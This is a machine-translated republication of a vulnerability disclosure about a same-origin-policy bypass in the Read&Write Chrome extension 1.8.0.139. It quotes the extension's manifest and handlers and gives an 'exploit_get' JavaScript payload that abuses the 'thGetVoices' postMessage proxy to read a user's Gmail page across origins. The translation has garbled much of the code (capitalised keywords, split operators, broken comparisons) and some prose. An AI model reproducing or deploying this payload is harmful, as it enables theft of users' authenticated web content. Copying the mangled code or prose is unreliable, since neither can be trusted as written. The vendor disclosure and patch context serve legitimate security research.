Shulou(Shulou.com)05/31 Report--

What this article shares with you is the example analysis of finding Chrome browser reading assistant plug-in SOP to bypass loopholes. The editor thinks it is very practical, so I share it with you to learn. I hope you can get something after reading this article.

The following is the author's discovery of the Google browser Chrome Reading Auxiliary plug-in (Read&Write Chrome extension) version 1.8.0.139 homology policy (SOP) to bypass the vulnerability. The flaw lies in the lack of security checks on the source of normal interactive web page requests by the Read&Write plug-in, which causes any web page to call the background privileged page API of the Read&Write plug-in to perform a variety of risky operations. Due to the large use of online downloads of this version of the plug-in, an estimated 8 million users were affected before the vulnerability was reported.

Introduction of loopholes

For example, using a background API call called the "thGetVoices" method, you can use the plug-in to perform the retrieval of an arbitrary URL link and respond to communication in postMessage mode. Through malicious API calls in this way, an attacker can hijack the Read&Write plug-in to read some malicious and unauthenticated session data.

As a verification, the author makes a vulnerability to exploit PoC video at the end of the paper. After installing the Read&Write plug-in with this vulnerability, the author can use the vulnerability to remotely read the user's Gmail email address information during the application operation. After the vulnerability was reported, Texthelp, the developer of the Read&Write plug-in, quickly fixed the vulnerability and released an updated patch the next day. Currently, this vulnerability no longer exists in the new version of the Read&Write plug-in.

Loophole analysis

Chrome's Read&Write plug-in uses a Google browser built-in script (Content Script) called "inject.js" to insert a custom toolbar into various online document pages, such as Google Docs, so that readers can use the plug-in to read and write documents. By default, this script will insert into all HTTP and HTTPS sources, as defined in the plug-in instructions:

... trimmed for brevity... "content_scripts": [{"matches": ["https://*/*"," http://*/*"], "js": ["inject.js"], "run_at": "document_idle", "all_frames": true}],... trimmed for brevity...

In the "inject.js" script file, there is an event listener function addEventListener, which can be captured by any interactive web page inserted into the "inject.js" script file if a response message is sent to the plug-in in the way "postMessage":

Window.addEventListener ("message", this.onMessage)

The addEventListener function also calls another function called "this.onMessage", which handles any postMessage messages sent to the page window:

Function onMessage () {void 0! = event.source & & void 0! = event.data & & event.source = = window & & "1757FROM_PAGERW4G" = = event.data.type & & ("connect" = = event.data.command? Chrome.extension.sendRequest (event.data, onRequest): "ejectBar" = = event.data.command? EjectBar (): "th-closeBar" = = event.data.command? Chrome.storage.sync.set ({enabledRW4GC:! 1}): chrome.extension.sendRequest (event.data, function (e) {window.postMessage (e, "*")}))}

The postMessage () method: the window.postMessage () method securely implements cross-source communication. In general, scripts for two different pages need to have a same origin policy to communicate. When the window.postMessage () method is called, a MessageEvent message is sent to the target window after all page scripts have been executed (e.g.the event set after the method, the previously set timeout event, etc.). The MessageEvent message has four attributes to note: the message property represents the type of the message; the data property is the first parameter of the window.postMessage; the origin property represents the current state of the page when the window.postMessage () method is called; and the source property records the window information that calls the window.postMessage () method.

In the above code, you can see that onMessage () sends all received postMessage messages to the background page of the Read&Write plug-in through the "chrome.extension.sendRequest" method. In addition, the response to these messages is passed back to the onMessage () function, which is then passed back to the Web page. This process actually forms an agent mechanism between the normal Web access page and the Read&Write plug-in.

From the instructions for using the Read&Write plug-in, you can see that there are many background pages in the Read&Write plug-in:

Trimmed for brevity... "background": {"scripts": ["assets/google-analytics-bundle.js", "assets/moment.js", "assets/thFamily3.js", "assets/thHashing.js", "assets/identity.js", "assets/socketmanager.js", "assets/thFunctionManager.js", "assets/equatio-latex-extractor.js", "assets/background.js", "assets/xmlIncludes/linq.js" "assets/xmlIncludes/jszip.js", "assets/xmlIncludes/jszip-load.js", "assets/xmlIncludes/jszip-deflate.js", "assets/xmlIncludes/jszip-inflate.js", "assets/xmlIncludes/ltxml.js", "assets/xmlIncludes/ltxml-extensions.js", "assets/xmlIncludes/testxml.js"]},

Although there are so many background pages for message listening and function calls, let's choose one of the exploitable ones. Let's take a look at the page "background.js":

... trimmed for brevity...chrome.extension.onRequest.addListener (function (e, t, o) {... trimmed for brevity...if ("thGetVoices" = e.method & & "1757FROM_PAGERW4G" = = e.type) {if (g_voices.length > 0 & & "true"! = = e.payload.refresh) return void o ({method: "thGetVoices", type: "1757FROM_BGRW4G" Payload: {response: g_voices}}) Var c = new XMLHttpRequest C.open ("GET", e.payload.url,! 0), c.onreadystatechange = function () {4 = = this.readyState & & 200 = = this.status & & (g_voices = this.responseText.toString (), o ({method: "thGetVoices", type: "1757FROM_BGRW4G" Payload: {response: g_voices}})}, c.send ()}... trimmed for brevity...

The above code shows that when the "chrome.extension.onRequest" .addListener listener is triggered, its internal "method" parameter is set to "thGetVoices" and the "type" parameter is set to "1757FROM_PAGERW4G". If the "payload.refresh" parameter in this trigger event is "true", the XMLHTTPRequest in it will be requested and responded with a status code of 200.

Vulnerability exploitation

Using the malicious call in the above way, we can send a message with an arbitrary URL link to the background page of the Read&Write plug-in, which will eventually respond through HTTP, so that we can read the user's cookie information in this way. thus, we can also use any web page to load Payload to steal user content from other different Web sources. The following is a cross-domain information theft Payload:

Function exploit_get (input_url) {return new Promise (function (resolve, reject) {var delete_callback = false; var event_listener_callback = function (event) {if ("data" in event & & event.data.payload.response) {window.removeEventListener ("message", event_listener_callback, false); resolve (event.data.payload.response) }; window.addEventListener ("message", event_listener_callback, false) Window.postMessage ({type: "1757FROM_PAGERW4G", "method": "thGetVoices", "payload": {"refresh": "true", "url": input_url}}, "*");}) } setTimeout (function () {exploit_get ("https://mail.google.com/mail/u/0/h/").then(function(response_body) {alert (" Gmail emails have been stolen! "); alert (response_body);});}, 1000)

The above Payload code shows that this vulnerability can be exploited to read cross-domain response information. In this case, we use Gmail's "Simple HTML" service as an example. The whole exploit method is relatively simple and straightforward: the above Payload code is hosted on any website, and the Read&Write plug-in user with this vulnerability is installed. As long as I log in to the Gmail mailbox, I can use the above Payload to read the relevant Gmail mailbox information of the user. The whole process is realized by forming the postMessage message with the appropriate Payload setting and combining the event listening mode of message response as we explained earlier. Because the Read&Write plug-in performs application inserts to all Web pages of HTTP and HTTPS, the "exploit_get ()" function can be used to steal authenticated and arbitrarily visited page data information through JavaScript Promises asynchronous programming (here, it is assumed that pages that can be accessed through HTTP GET without special Header headers)

Promise: is a solution for asynchronous programming that is more reasonable and powerful than traditional solutions-callback functions and events. A Promise is simply a container that holds the result of an event (usually an asynchronous operation) that ends in the future. Syntactically, Promise is an object from which you can get messages for asynchronous operations. Promise provides a unified API, and all kinds of asynchronous operations can be handled in the same way. At present, Promise has been natively supported by JavaScript and is well compatible with JavaScript programming applications.

Although the above example refers to the "thGetVoices" background method call, this is only one way to exploit the vulnerability when these background pages are called API. In addition to using this call, there are other exploitable methods:

For example, attackers can also use the "thExtBGAjaxRequest" method, combined with parameters to execute arbitrary POST requests of "application/x-www-form-urlencoded;charset=UTF-8", and read the message response content.

In addition, attackers can also use the "OpenTab" method to open a large number of web page tags to restrict users' access to Web pages

Cause of loophole & Mitigation measures

This vulnerability is a common hidden danger of browser plug-in security. In order to communicate more conveniently with plug-in API, Google's Chrome browser functionally forms a proxy channel between its own background service and normally accessed Web pages. The main reason is that many Chrome plug-in developers lack security checks for potentially sensitive function call request sources during the development stage. In this case, an ideal solution is to put most of the logical processing operations into Content Script, which is not called in postMessage mode, but is triggered by the event listener function according to the appropriate validation of the API isTrusted property. This ensures that all calls are triggered by user actions and not forged by the attacker.

There may be some time differences due to the time zone, but the Texthelp development team in Ireland actually received the vulnerability on June 2 and fixed it on June 3. It's just that the patch was released on June 4, and the entire vulnerability response repair cycle was very timely.

The above is the example analysis of finding the Chrome browser reading assistant plug-in SOP to bypass vulnerabilities. The editor believes that there are some knowledge points that we may see or use in our daily work. I hope you can learn more from this article. For more details, please follow the industry information channel.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.